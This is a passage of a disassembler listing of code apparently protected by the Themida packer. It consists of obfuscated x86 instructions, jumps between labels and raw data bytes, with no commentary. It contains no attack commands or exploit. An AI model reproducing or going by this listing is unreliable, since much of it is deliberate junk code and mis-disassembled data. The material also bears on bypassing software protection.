dup(0) ; --------------------------------------------------------------------------- loc_55070F: ; CODE XREF: Themida_:005441FBj add ebp, 4 xor ebp, [esp] jmp loc_550354 ; --------------------------------------------------------------------------- dw 1C89h dd 1059E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550722: ; CODE XREF: Themida_:00549E94j push cx not byte ptr [esp] pop cx add cl, 77h sub al, cl pop ecx push ebx jmp loc_558331 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 2Eh dd 55FFFF97h, 42474FFh, 0FF81D4E9h, 0B1ED81FFh, 0E920122Ah dd 39Ch ; --------------------------------------------------------------------------- loc_550750: ; CODE XREF: Themida_:005486F4j mov ecx, 0E602C2Dh jmp loc_54F1DF ; --------------------------------------------------------------------------- loc_55075A: ; CODE XREF: Themida_:00553DACj mov edi, 54A90DEEh jmp loc_555EA1 ; --------------------------------------------------------------------------- loc_550764: ; CODE XREF: Themida_:0054EE3Fj sub ebp, 4 jmp loc_54CAD4 ; --------------------------------------------------------------------------- byte_55076F db 0FFh ; DATA XREF: Themida_:00543164o dd 34FF2434h, 24048B24h, 473E9h, 24348900h, 42D6E953h dd 0E1C00000h, 79C18007h, 889AC180h, 0D3B5E9CAh, 0D001FFFFh dd 214C0E05h, 12E95216h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5507A3: ; CODE XREF: Themida_:0054F44Fj add eax, 53264726h sub eax, 47DF3CEAh push edi mov edi, 592F6369h add edi, 0FFFFFFFFh add edi, 0ADA8A73Fh jmp loc_5539AA ; --------------------------------------------------------------------------- dd 2C581h, 2C870000h, 0C1385C24h, 2AC5E99Ch, 0D25FFFFh dd 0F712AF00h, 0E8C148D8h, 0FDBF5708h, 29D5583Eh, 0C1215FF8h dd 0FFC166E9h, 0CEC380FFh, 0EB80D328h, 8B5A66CEh, 0C4832414h dd 58EB8004h, 8059B151h, 61E968F1h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55080F: ; CODE XREF: Themida_:0054D961j mov ecx, 14F042C9h push esi jmp loc_553B54 ; --------------------------------------------------------------------------- loc_55081A: ; CODE XREF: Themida_:00545289j sub dword ptr [esp], 0E056483h pop ecx sub esp, 4 mov [esp], edi mov edi, 0E056483h sub ecx, 21E8121Ah push eax mov eax, 28AF5AA9h add eax, 0E338D619h add ecx, eax pop eax add ecx, edi jmp loc_549A6A ; --------------------------------------------------------------------------- dd 1D12A268h, 0FD1BE906h, 15AFFFFh, 5D0B2DF8h, 0C15F18EDh dd 0BD5507E8h, 0FF97455Fh, 2EE9E801h, 5CFFFFA5h, 0FF242C89h dd 0C8B2434h, 4C48324h, 0FF04C483h, 815D2434h, 4C4h, 611BE900h dd 4C2DFFFFh, 0E97E7276h, 0FFFF2A07h ; --------------------------------------------------------------------------- loc_550894: ; CODE XREF: Themida_:00555B34j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_546FC5 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0F7h dd 2A394C82h, 34FFF801h, 1B685F24h, 89000076h, 0E2892414h dd 4C281h, 0C2810000h, 4, 5C241487h, 38B36852h, 5EE90000h dd 0FFFFF35h, 34FFC0B6h, 52C0E987h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5508EA: ; CODE XREF: Themida_:0054A008j not ebp xchg ebp, [esp] mov ebp, [esp] push ebx jmp loc_548347 ; --------------------------------------------------------------------------- loc_5508F8: ; CODE XREF: Themida_:00550149j push ecx jmp loc_557CB3 ; --------------------------------------------------------------------------- dw 0F529h dd 5E2434FFh, 8104C483h, 0C92586EFh, 0A5C78103h, 0E9526B2Bh dd 0FFFF6457h, 510DEE80h, 60E9F188h, 51FFFFBFh, 33E9E189h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55092B: ; CODE XREF: Themida_:00551B89j jmp loc_548692 ; --------------------------------------------------------------------------- dd 0CD2CC828h, 3DE95966h db 0F8h, 2 dup(0FFh) byte_55093B db 0ADh ; DATA XREF: Themida_:00543068o dd 0A2BB5355h, 0F722BC17h, 0D5CB81DBh, 812A4F22h, 350E1DC3h dd 0ECA2E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550956: ; CODE XREF: Themida_:00552B6Fj xor [esp], ebx xor ebx, [esp] pop esp add eax, 7AC32289h push ecx mov ecx, esp jmp loc_554C13 ; --------------------------------------------------------------------------- loc_55096A: ; CODE XREF: Themida_:0054DEEFj push eax jmp loc_54937A ; --------------------------------------------------------------------------- dd 7679F181h, 0CF016489h, 241C8B59h, 5E08950h, 4, 405h dd 0A459E900h, 0C483FFFFh, 243C3304h, 33243C31h, 89E9243Ch dd 31000031h, 242C8BE9h, 3104C483h, 0DD0159CBh, 4C5835Bh dd 31242C33h, 2C33242Ch, 0B9D8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5509BE: ; CODE XREF: Themida_:00556F67j push ebx push ebp mov ebp, 25D76130h mov ebx, ebp pop ebp dec ebx push ebx not dword ptr [esp] jmp loc_5552F0 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFFD5EE9h, 4C381FFh, 81000000h, 4C3h, 241C8700h dd 0DAE9815Ch, 0F75CE457h, 8E1C1D1h, 0EA68D987h, 8900003Dh dd 0B9240Ch, 29000000h, 4EC83D9h, 0E9241C89h, 0FFFFF325h dd 4C48158h, 0E9000000h, 0FFFFFBEFh, 0FF2434FFh, 148B2434h dd 5E545624h, 4C681h, 73E90000h, 89FFFFD8h, 0A1E9240Ch dd 89000044h, 0AAE9242Ch db 5Ch, 2 dup(0) byte_550A47 db 0FFh ; DATA XREF: Themida_:0054324Co dd 0ACE92434h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A4F: ; CODE XREF: Themida_:00547F01j add edi, 0BDFED604h add eax, edi pop edi add eax, edi sub eax, 7933098Eh mov edi, [esp] add esp, 4 add eax, 4 xchg eax, [esp] pop esp push 7545h mov [esp], eax jmp loc_54CBDC ; --------------------------------------------------------------------------- db 1, 0F1h, 5Eh dd 4E981h, 0FF510000h, 0E9042474h, 431Eh, 9CC38159h, 2910C40Fh dd 9CEB81CBh, 0E910C40Fh, 548Dh ; --------------------------------------------------------------------------- loc_550AA0: ; CODE XREF: Themida_:0054C3B0j add esp, 4 jmp loc_558399 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 92F28100h, 8156C669h, 15A088C2h, 8EAC184h, 0E1BEA81h dd 0D2F7609Eh, 5A74E9h, 4B800h, 0C2010000h, 0E92434FFh dd 0FFFFA957h, 0F9B9E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550AE2: ; CODE XREF: Themida_:00549070j push 200000h jmp loc_5479AD ; --------------------------------------------------------------------------- dd 8904EC83h, 14F7242Ch, 0B9515D24h, 4CC956E1h, 8102E9C1h dd 3F79F7C1h, 5BBE5661h, 0E9665A0Ch, 0FFFF89ADh ; --------------------------------------------------------------------------- loc_550B10: ; CODE XREF: Themida_:00549F8Fj push 9Bh mov [esp], esp jmp loc_5579E8 ; --------------------------------------------------------------------------- db 9, 0DAh, 0E9h dd 0FFFFFB45h ; --------------------------------------------------------------------------- loc_550B24: ; CODE XREF: Themida_:00554D71j push 7042h mov [esp], edx xchg esi, [esp] not esi jmp loc_54AF4E ; --------------------------------------------------------------------------- dw 0CF89h dd 5FF82959h, 297FBA52h, 23E91F7Dh, 0B800006Ah, 6B4E6C89h dd 4958C189h, 0FF356FE9h db 0FFh byte_550B55 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005431CCo dd 0FFA5FCE9h, 0C2814AFFh, 75CF2B1Ch, 2D52F281h, 0D601B199h dd 44A0E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_550B72: ; CODE XREF: Themida_:00551C24j pop esp or edx, eax shl edx, 1 push eax mov eax, esp jmp loc_54F649 ; --------------------------------------------------------------------------- db 33h dd 248B243Ch, 0B42EE924h, 348BFFFFh, 3ED4E924h, 0DEF60000h dd 8904EC83h, 0E189240Ch, 4C181h, 0E9810000h, 4, 0FFE1D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_550BAD: ; CODE XREF: Themida_:0054364Bj mov edx, 0D83AE6FCh jmp loc_54E71D ; --------------------------------------------------------------------------- db 31h dd 4332404h, 2C815C24h, 554CC424h, 45E95267h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BCB: ; CODE XREF: Themida_:0054C0D1j pop ecx add ecx, 4 sub esp, 4 mov [esp], eax push ecx mov ecx, 2AEA7E8Bh shr ecx, 6 jmp loc_553EA4 ; --------------------------------------------------------------------------- db 0F6h, 0D2h, 0E9h dd 20CCh, 6804C483h, 27B8h, 0E9243C89h, 1611h, 81243C89h dd 4ECh, 24248900h, 4BF57h, 7C010000h, 4AE90424h, 87FFFFA1h dd 0BFE9240Ch db 63h, 2 dup(0) byte_550C23 db 66h ; DATA XREF: Themida_:00543080o dd 53240C8Bh, 0C381E389h, 4, 8704EB83h, 0E95C241Ch, 0FFFFAD3Eh ; --------------------------------------------------------------------------- loc_550C3C: ; CODE XREF: Themida_:00554452j push esi jmp loc_55301C ; --------------------------------------------------------------------------- word_550C42 dw 8B66h ; DATA XREF: Themida_:00543034o dd 0EF68240Ch, 89000004h, 0FF542404h, 55582434h, 0E623E954h dd 0EC83FFFFh, 24048904h, 42474FFh, 24048F58h, 0E924248Bh dd 2736h ; --------------------------------------------------------------------------- loc_550C70: ; CODE XREF: Themida_:0055250Bj pop esp mov [esp], edx jmp loc_54A230 ; --------------------------------------------------------------------------- db 81h, 0E1h, 5Bh dd 812CE600h, 0B75AFCC9h, 8EE9817Ah, 897984F3h, 0EA2959CDh dd 64E9535Dh, 6800000Bh, 6D60h, 24048F54h, 4BD55h, 0B1E90000h dd 81FFFF33h, 4C4h, 243C3300h, 33243C31h, 248B243Ch, 48B6624h dd 498B6824h, 2C890000h, 37966824h, 0D8E90000h, 52FFFFF3h dd 5A241CF7h, 4C88BB53h, 24E92BB4h, 5000053h, 6F247D7Eh dd 7E2DF829h, 56F247Dh, 60876CB2h, 5F2434FFh, 0FF9947E9h db 0FFh ; --------------------------------------------------------------------------- loc_550CFD: ; CODE XREF: Themida_:0054BF3Dj not ebx xor edx, ebx xor ebx, edx xor edx, ebx push edi push eax jmp loc_54D46E ; --------------------------------------------------------------------------- loc_550D0C: ; CODE XREF: Themida_:0054FA9Cj xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_54E274 ; --------------------------------------------------------------------------- loc_550D18: ; CODE XREF: Themida_:00557197j push 24h pop ecx push edi mov edi, 190907B9h push edx push esi mov esi, 6DB715B0h dec esi push ecx mov ecx, 4B8257CDh add esi, ecx pop ecx inc esi push 574Bh mov [esp], edi jmp loc_54F5ED ; --------------------------------------------------------------------------- db 8Bh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp push edx mov edx, 4F590FB6h mov ebp, edx pop edx sub ebp, 0FFFFFFFFh push 0 jmp loc_54B3EA ; --------------------------------------------------------------------------- byte_550D6F db 0FFh ; DATA XREF: Themida_:005431B0o dd 669D1C77h, 24041858h, 50F8E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D7E: ; CODE XREF: Themida_:00556CFBj push ecx mov cl, 73h mov ah, 57h add ah, cl pop ecx or ah, 37h jmp loc_545827 ; --------------------------------------------------------------------------- dw 555Dh dd 4188B850h, 8ABD5608h, 0E9560841h, 1658h ; --------------------------------------------------------------------------- loc_550DA0: ; CODE XREF: Themida_:0054EDABj sub eax, esi mov esi, [esp] jmp loc_548FB4 ; --------------------------------------------------------------------------- loc_550DAA: ; CODE XREF: Themida_:00553E2Ej mov esp, [esp] xor [esp], al pushf jmp loc_54329B ; --------------------------------------------------------------------------- dw 0BA52h dd 57B909DEh, 9DABD55h, 0EA2957B9h, 8BD5015Dh, 0C4812414h dd 4, 5E08950h, 4, 6B80BE56h, 0EE81171Ch, 171C6B7Ch, 0FFDAAAE9h dd 8BDF01FFh, 0C483241Ch, 9D03E904h, 0EE81FFFFh, 4, 5C243487h dd 0E9242489h, 63C1h, 0DBF7DBF7h, 278AC381h, 0F3813448h dd 5EB71D16h, 7C9CE381h, 0F0E96D91h, 0C1FFFFEFh, 0BB5308E6h dd 53157DF0h, 6939BA52h, 0E281147Ch, 675F3465h, 0EAC1D2F7h dd 13F28108h, 0E93A776Ah, 34C8h ; --------------------------------------------------------------------------- loc_550E48: ; CODE XREF: Themida_:0054A4D3j push esi mov esi, 6FF01A80h dec esi jmp loc_55439F ; --------------------------------------------------------------------------- dd 582434FFh, 0FFFB31E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E5D: ; CODE XREF: Themida_:0055713Ej pop esi add esi, 4 jmp loc_550407 ; --------------------------------------------------------------------------- loc_550E69: ; CODE XREF: Themida_:00544E41j dec edx and edx, 6F1208BEh add edx, 4E9418D1h jmp loc_54DC83 ; --------------------------------------------------------------------------- aTucSsd db '╧TUc+ИАD',0 db 0 ; --------------------------------------------------------------------------- loc_550E85: ; CODE XREF: Themida_:005562E1j xchg ebx, [esp] pop esp jmp loc_5493FF ; --------------------------------------------------------------------------- loc_550E8E: ; CODE XREF: Themida_:00548254j pop eax jmp loc_54E962 ; --------------------------------------------------------------------------- dd 223EBE56h, 0EB812620h, 1337095Bh, 0C381F301h, 1337095Bh dd 64C3815Eh, 81DC3E8Eh, 0B23FE8C6h, 81DE0120h, 4ECh, 7788E900h dd 9568FFFFh, 8900003Eh, 69BA2414h, 0C14D4E2Eh, 1FE907E2h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550ED7: ; CODE XREF: Themida_:00547AB4j xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], eax push 645E56A3h pop eax xor [esp+4], eax push dword ptr [esp] push dword ptr [esp] jmp loc_551C81 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0D6E95F04h, 87FFFF2Bh, 0E95C242Ch, 177Dh, 36BF7BFh dd 4EC831Fh, 55240C89h, 62278BDh, 2EDC16Bh, 5E68F581h dd 0DD872D84h, 93D0F793h, 0BA52DD87h, 0F5223A15h, 87E9D531h dd 6800003Fh, 6AEh, 0BA241489h, 34BD7E03h, 36C0EA81h, 0F2816AD7h dd 410447E6h, 0B951D2F7h, 0 dd 0FFE303E9h db 0FFh ; --------------------------------------------------------------------------- loc_550F61: ; CODE XREF: Themida_:0054B4E0j sub edx, 30801FCh add ecx, edx mov edx, [esp] jmp loc_5544BA ; --------------------------------------------------------------------------- loc_550F71: ; CODE XREF: Themida_:00549B7Ej add ebx, 758852A3h add ebx, esi sub ebx, 758852A3h jmp loc_54782B ; --------------------------------------------------------------------------- dd 9083E95Dh, 0D629FFFFh, 8EEC15Ah, 4078F681h, 0F6814331h dd 437448EFh, 4425E950h, 5468FFFFh, 8900006Fh, 4812424h dd 424h, 0BF575E00h, 4, 0FF6F10E9h, 0EEC159FFh, 9CEE8108h dd 1F003CDh, 0F9685EF3h, 0E9000075h, 0FFFF7DD0h ; --------------------------------------------------------------------------- loc_550FD4: ; CODE XREF: Themida_:0055629Dj sub esp, 4 jmp loc_54B17A ; --------------------------------------------------------------------------- dword_550FDC dd 0E9240C30h, 0B0Dh, 0E9241C87h, 0FFFFDCAAh, 3104C483h ; DATA XREF: Themida_:00542FF4o dd 241C8BDAh, 3104C483h, 24148BD0h, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 0E904EC83h, 0FFFF5F04h ; --------------------------------------------------------------------------- loc_551014: ; CODE XREF: Themida_:0054E99Aj sub esi, ebp add esi, 6BE10D08h pop ebp sub esi, eax add esi, 69196EB8h mov eax, [esp] add esp, 4 add esi, 6AA304E4h mov edx, [esp] push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] pop esp jmp loc_548B1C ; --------------------------------------------------------------------------- dd 240C8755h, 26A0E941h, 0E952FFFFh, 0FFFF5B50h ; --------------------------------------------------------------------------- loc_55105C: ; CODE XREF: Themida_:0054DC05j push eax mov eax, 0B3E66C5h push edx mov edx, 0 sub edx, eax jmp loc_550454 ; --------------------------------------------------------------------------- loc_55106F: ; CODE XREF: Themida_:0054F6FBj add ebx, edi pop edi jmp loc_543C99 ; --------------------------------------------------------------------------- db 81h dd 25E75FEFh, 61C28134h, 814E3623h, 0F41DDCEAh, 81FA0118h dd 0F41DDCC2h, 56525018h, 0E3E9h, 4EC8100h, 89000000h dd 0AE9243Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5510A7: ; CODE XREF: Themida_:00545028j pop esi pop ebx mov esi, 0D5575305h sub esi, eax mov eax, [esp] push ebx mov ebx, esp jmp loc_54EBFC ; --------------------------------------------------------------------------- loc_5510BB: ; CODE XREF: Themida_:0054413Cj mov ebx, 72AC5CEAh shr ebx, 4 sub esp, 4 mov [esp], esi push 18Bh mov [esp], ecx mov ecx, 76D70099h push 429Dh mov [esp], ecx push eax mov eax, 3AC06C15h jmp loc_557611 ; --------------------------------------------------------------------------- dd 0E9D83059h, 0FFFF74A1h, 2F168h, 24048900h, 0E904EC83h dd 0FFFF511Bh ; --------------------------------------------------------------------------- loc_551104: ; CODE XREF: Themida_:00553365j mov edx, 48B004D3h sub ecx, edx pop edx add ecx, eax jmp loc_54D56B ; --------------------------------------------------------------------------- byte_551113 db 66h ; DATA XREF: Themida_:005430A0o dd 83240C8Bh, 3C8904ECh, 616BE924h, 1C87FFFFh, 24248B24h dd 0FFAB42E9h, 4C483FFh, 53CBE9h, 5FF98900h, 3A76142Dh dd 5C8291Bh, 1B3A7614h, 4EC8159h, 89000000h, 7D68243Ch dd 8900003Ah, 34E92434h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55115B: ; CODE XREF: Themida_:005476F8j sub edx, 4FE50948h add edx, eax push ecx mov ecx, 4FE50948h jmp loc_54C1AF ; --------------------------------------------------------------------------- loc_55116E: ; CODE XREF: Themida_:00555123j pop ecx add ecx, esi jmp loc_554D89 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF3A86h, 0DA07CDBEh, 1906E932h, 0EF290000h, 8BFE015Dh dd 0C481243Ch, 4, 2434875Ah, 0FF3A38E9h, 2EC81FFh, 66000000h dd 0E9240489h, 304Fh, 6804C483h, 2B29h, 89243C89h, 249568E7h dd 83E90000h, 0BBFFFF60h, 39EB5584h, 8107EBC1h, 2A97ABF3h dd 5BD9210Ah, 36E18149h, 8106982Bh, 180032F1h, 59C82900h dd 5C240487h, 0BE243489h, 4, 7B7BC181h, 0F1017994h, 0FF4706E9h db 0FFh ; --------------------------------------------------------------------------- loc_5511FD: ; CODE XREF: Themida_:0054F7B6j add eax, 4 xchg eax, [esp] jmp loc_555836 ; --------------------------------------------------------------------------- loc_551208: ; CODE XREF: Themida_:0055384Ej add esp, 4 jmp loc_54A7A3 ; --------------------------------------------------------------------------- dd 54FBD55h, 0E5D15B46h, 4CDEF581h, 0E5C13909h, 30E58106h dd 8147BC2Dh, 4D745ACDh, 0AF58174h, 92CB321h, 0F1E4E9EBh dd 295EFFFFh, 242C8BEEh, 0FF71FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551245: ; CODE XREF: Themida_:0054B0EBj push ecx mov ecx, esp jmp loc_54C1F4 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 34439268h, 65E95835h, 2900000Ch, 0D238E9CAh, 0E089FFFFh dd 2D0E9h db 0 byte_551269 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00543230o dd 1058669Dh, 0E99C2404h, 0FFFF2023h dword_551278 dd 24048B66h, 0FFCD47E9h ; DATA XREF: Themida_:00543214o db 0FFh ; --------------------------------------------------------------------------- loc_551281: ; CODE XREF: Themida_:005582AEj or eax, eax jz loc_5537FB push dword ptr [edi+28h] push 426Fh mov [esp], esi push ecx push 0D9431EDh jmp loc_545B12 ; --------------------------------------------------------------------------- db 89h dd 0C6015BD8h, 0FFD540E9h db 0FFh ; --------------------------------------------------------------------------- loc_5512A9: ; CODE XREF: Themida_:00553946j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_54E0C3 ; --------------------------------------------------------------------------- loc_5512BB: ; CODE XREF: Themida_:00556E36j sub edx, eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5466A8 ; --------------------------------------------------------------------------- aZusv db 'ZUИv',9,0 align 4 loc_5512D8: ; CODE XREF: Themida_:00549D67j pop esp jmp loc_5436B3 ; --------------------------------------------------------------------------- dw 2C89h dd 4B79BD24h, 0BF5765B9h, 384831D5h, 8102E7C1h, 0C21979CFh dd 1314E96Eh, 3C310000h, 243C3324h, 9CE9505Ch, 91FFFF4Eh dd 0E0C1E8D1h, 67D2E907h, 0B9680000h, 89000049h, 0AABA2414h dd 421D3B02h, 0F281DAF7h, 0D07CB9C1h, 0E95AD329h, 6CC3h dd 8F3E95Ch, 0EC830000h, 24048904h, 0FF6485E9h db 0FFh ; --------------------------------------------------------------------------- loc_551341: ; CODE XREF: Themida_:0054D82Cj push 638Eh jmp loc_555971 ; --------------------------------------------------------------------------- loc_55134B: ; CODE XREF: Themida_:005491CAj and edi, ebp pop ebp push ebp mov ebp, 1DC06BA1h and edi, ebp jmp loc_555896 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4EA8300h, 5C241487h, 89241489h, 4C281E2h, 83000000h dd 0D2E904C2h, 8FFFFF5Dh, 0BD552404h, 4, 4246C01h, 0E9242C8Bh dd 0FFFFAA37h, 0FF240C89h, 0FF042474h, 0A2E92434h, 1FFFF28h dd 26B951D6h, 29476159h, 148B59CEh, 4C48324h, 8704EE83h dd 895C2434h, 49E92404h, 81000041h, 4C4h, 0E7895700h, 4C781h dd 0BE560000h, 39308F1h, 0FF5B2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5513D9: ; CODE XREF: Themida_:00557FA5j xchg esi, [esp] pop esp jmp loc_551CA8 ; --------------------------------------------------------------------------- dw 5709h dd 7F4BE91Ch, 1C89FFFFh, 0F7CA6824h, 1C8B1248h, 4C48324h dd 3BE9D831h, 89FFFF8Eh, 0E9532404h, 6251h, 5366DEF6h dd 0B338B050h, 58C32874h, 8B66DE30h, 0EFE9241Ch, 54000030h dd 0FF5FE0E9h, 0D1F759FFh, 0F751E9D1h, 0E9592414h, 414Bh dd 4C5815Dh, 81000000h, 4C5h, 242C8700h, 2ED815Ch, 33000000h dd 2C31242Ch, 242C3324h, 6624248Bh, 0E9240489h, 0FFFF1E3Bh dd 5E2434FFh, 161268h, 241C8900h, 4D685B54h, 8900000Bh dd 0BCE9242Ch, 0FFFF48h, 0E9FC2CD8h, 3DA4h, 8704C283h dd 80E92414h db 0CFh, 2 dup(0FFh) byte_55148F db 66h ; DATA XREF: Themida_:0054323Co dd 68240C8Bh, 2C8h, 54240C89h, 4685059h, 8B000000h, 0C4832404h dd 58C10104h, 776B68h, 243C8900h, 2BFh, 6654E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5514BE: ; CODE XREF: Themida_:00545CFFj sub ebx, 76D90759h jmp loc_550574 ; --------------------------------------------------------------------------- db 5Ah, 55h, 57h dd 6B6A53BFh, 5FFD8950h, 27BF5752h, 890A3E5Eh, 4AF6E9FAh dd 0F1080000h, 0FF3CA5E9h, 53AC04FFh, 0AF2C60B7h, 0B652F828h dd 58EE8060h, 0B8E9DE86h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514FF: ; CODE XREF: Themida_:0054C9FCj mov ebp, 78F7AE0h sub ebp, 4B347FDFh push edx mov edx, 65E3546Eh sub ebp, edx pop edx not ebp sub ebp, 46B9E39Fh sub ebp, 6EDA76C1h or ebp, 2A0C16D7h add ebp, 96B3BF1h add eax, 60D25F68h sub eax, ebp jmp loc_556BE5 ; --------------------------------------------------------------------------- db 68h, 3Ch, 2Dh dd 0E8E90000h, 83FFFF98h, 0C33002C4h, 1CC5E9h, 81E28900h dd 4C2h, 4C28300h, 5C241487h, 81E78957h, 4C7h, 4878E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55156A: ; CODE XREF: Themida_:00548A66j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 2 add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_54329B ; --------------------------------------------------------------------------- loc_551593: ; CODE XREF: Themida_:0054384Ej pop ebp neg ebx xor ebx, 0C2208806h add esi, ebx pop ebx push edi mov edi, 0BB60C17h jmp loc_54D555 ; --------------------------------------------------------------------------- loc_5515AA: ; CODE XREF: Themida_:00544828j or edx, 6377583Ah or edx, 7CEB1AD6h shr edx, 8 jmp loc_555AA0 ; --------------------------------------------------------------------------- dw 0D3F7h dd 7522C381h, 0DE018622h, 0E9D6015Bh, 0FFFF26A2h, 0D8F7E0D1h dd 3A21E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5515DA: ; CODE XREF: Themida_:0054B894j pop esi add ebx, edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 400178F4h add ebx, edi mov edi, [esp] add esp, 4 mov edi, [esp] jmp loc_5437C5 ; --------------------------------------------------------------------------- loc_551608: ; CODE XREF: Themida_:00555D10j xchg eax, [esp] pop esp push dword ptr [esp] mov eax, [esp] jmp loc_54AF60 ; --------------------------------------------------------------------------- db 80h dd 0F28064CAh, 5AD38887h, 5B66DE20h, 2028EE80h, 24148BF0h dd 8904EC83h, 0F0E9241Ch, 5EFFFF8Dh, 5701ED83h, 0FF3CDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_551641: ; CODE XREF: Themida_:00544735j push edi sub esp, 4 mov [esp], esi mov esi, 49D52040h inc esi sub esi, 73B90CD7h inc esi or esi, 19E546B3h sub esi, 51572694h push 262Ch jmp loc_54BB4E ; --------------------------------------------------------------------------- dw 48Fh dd 24E95C24h, 0B2FFFF1Ch, 0C0D2F643h, 0D2F602E2h, 5868E9h db 0 ; --------------------------------------------------------------------------- loc_551685: ; CODE XREF: Themida_:00544963j sub esi, 4BD03BB7h mov ecx, [esp] jmp loc_55713C ; --------------------------------------------------------------------------- db 2Dh dd 1EC55C35h, 0FF95D6E9h, 241C8BFFh, 8104C483h, 4ECh, 24048900h dd 0EC861DB4h, 0FF531AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5516B5: ; CODE XREF: Themida_:0054943Ej mov edi, 4 add edx, edi jmp loc_543F53 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 24B82404h, 1000000h, 2434FFC6h, 582434FFh dd 4C481h, 0EC810000h, 4, 0E9241C89h, 61DDh, 0E901C780h dd 0FFFF220Bh ; --------------------------------------------------------------------------- loc_5516F4: ; CODE XREF: Themida_:00544E07j or esi, 8A801AAh jmp loc_552FFA ; --------------------------------------------------------------------------- db 0BDh dd 4, 4246C01h, 405585Dh, 83000000h, 0A1E904C0h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551717: ; CODE XREF: Themida_:00555D45j pop ebp xor [esp+4], esi push dword ptr [esp] pop esi add esp, 4 pop eax xor eax, 6EB715BDh mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi push esp mov edi, [esp] jmp loc_54D999 ; --------------------------------------------------------------------------- loc_551747: ; CODE XREF: Themida_:00549C42j push dword ptr [esp] pop esi push edx mov edx, esp add edx, 4 push ebp push edi push 6AE3CA1h pop edi add edi, 0F951C363h mov ebp, edi jmp loc_555657 ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 0FF3134E9h, 66E958FFh, 89FFFF27h, 5D4E9E3h, 8F5A0000h dd 535C2404h, 4BBh, 5BDF0100h, 2FD2BB53h, 0F3815711h, 5C0D6DD4h dd 1EEDCB81h, 0C3815A8Ah, 147F240Ah, 82F7EB81h, 59E9701Dh db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517B3: ; CODE XREF: Themida_:005558CFj add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, 76D90759h jmp loc_545CF1 ; --------------------------------------------------------------------------- loc_5517C6: ; CODE XREF: Themida_:0054C365j push ebx mov ebx, esp push esi jmp loc_55304D ; --------------------------------------------------------------------------- loc_5517CF: ; CODE XREF: Themida_:00549588j pop ebx sub eax, 0C10021Bh jmp loc_544DF5 ; --------------------------------------------------------------------------- dw 3C33h dd 1DE95C24h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517E3: ; CODE XREF: Themida_:00545ED8j mov [esp], esi jmp loc_556BDB ; --------------------------------------------------------------------------- byte_5517EB db 0FFh ; DATA XREF: Themida_:00543154o dd 669D1C77h, 4116658h, 0A0E99C24h, 0BBFFFF1Ah, 0ECB403D1h dd 54E9DA01h, 81FFFF89h, 0DB1775F6h, 0F7CE8767h, 53CE87D9h dd 0DB86856h, 0C15E7554h, 0EE8103E6h, 936FF9D7h, 348BF389h dd 4C48124h, 81000000h, 0DE3983CBh, 0FFEB8155h, 50FFFFFFh dd 850DC8B8h, 0E9C33165h, 0FFFFD2E1h, 2404285Ch, 1A49E99Ch dd 3487FFFFh, 0C52C5C24h, 0CE9C800h, 50000031h, 76735BB8h dd 8BC60131h, 0C4812404h, 4, 0FF62BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551875: ; CODE XREF: Themida_:00552DD7j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi push 4C0h mov [esp], esp jmp 